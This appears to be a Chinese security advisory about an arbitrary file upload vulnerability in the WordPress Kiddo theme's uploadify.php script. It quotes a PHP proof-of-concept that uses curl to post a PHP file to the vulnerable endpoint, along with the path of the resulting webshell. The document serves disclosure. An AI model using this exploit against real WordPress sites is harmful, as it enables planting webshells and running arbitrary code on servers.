WordPress Kiddo Theme “uploadify.php”任意文件上传漏洞


发布日期：2014-02-11
更新日期：2014-02-13

受影响系统：
WordPress Kiddo 1.x
描述：
--------------------------------------------------------------------------------
WordPress Kiddo是WordPress的儿童主题。

WordPress Kiddo的/wp-content/themes/kiddo/app/assets/js/uploadify/uploadify.php脚本允许上传任意扩展名的文件到webroot的文件夹内，如果上传的文件包含恶意PHP脚本，即可导致执行任意PHP代码。

<*来源：TUNISIAN CYBER
 
  链接：http://secunia.com/advisories/56874/
*>

测试方法：
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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

?php
*/
[+] Author: TUNISIAN CYBER
[+] Exploit Title: Kidoo WP Theme File Upload Vulnerability
[+] Date: 05-02-2014
[+] Category: WebApp
[+] Google Dork: :(
[+] Tested on: KaliLinux
[+] Vendor: n/a
[+] Friendly Sites: na3il.com,th3-creative.com

Kiddo WP theme suffers from a File Upload Vulnerability

+PoC:
site/wp-content/themes/kiddo/app/assets/js/uploadify/uploadify.php

+Shell Path:
site/3vil.php

ScreenShot:
http://i.imgur.com/c62cWHH.png

Greets to: XMaX-tn, N43il HacK3r, XtechSEt
Sec4Ever Members:
DamaneDz
UzunDz
GEOIX
E4A Members:
Gastro-DZ

*/

echo "=============================================== \n";
echo "  Kiddo WP Theme File Upload Vulnerability\n";
echo "                TUNISIAN CYBER  \n";
echo "=============================================== \n\n"; 
$uploadfile="cyber.php";
 
$ch = curl_init("site-content/themes/kiddo/app/assets/js/uploadify/uploadify.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
 
?>

建议：
--------------------------------------------------------------------------------
厂商补丁：

WordPress
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://themeforest.net/item/kiddo-a-powerful-kids-theme/802808

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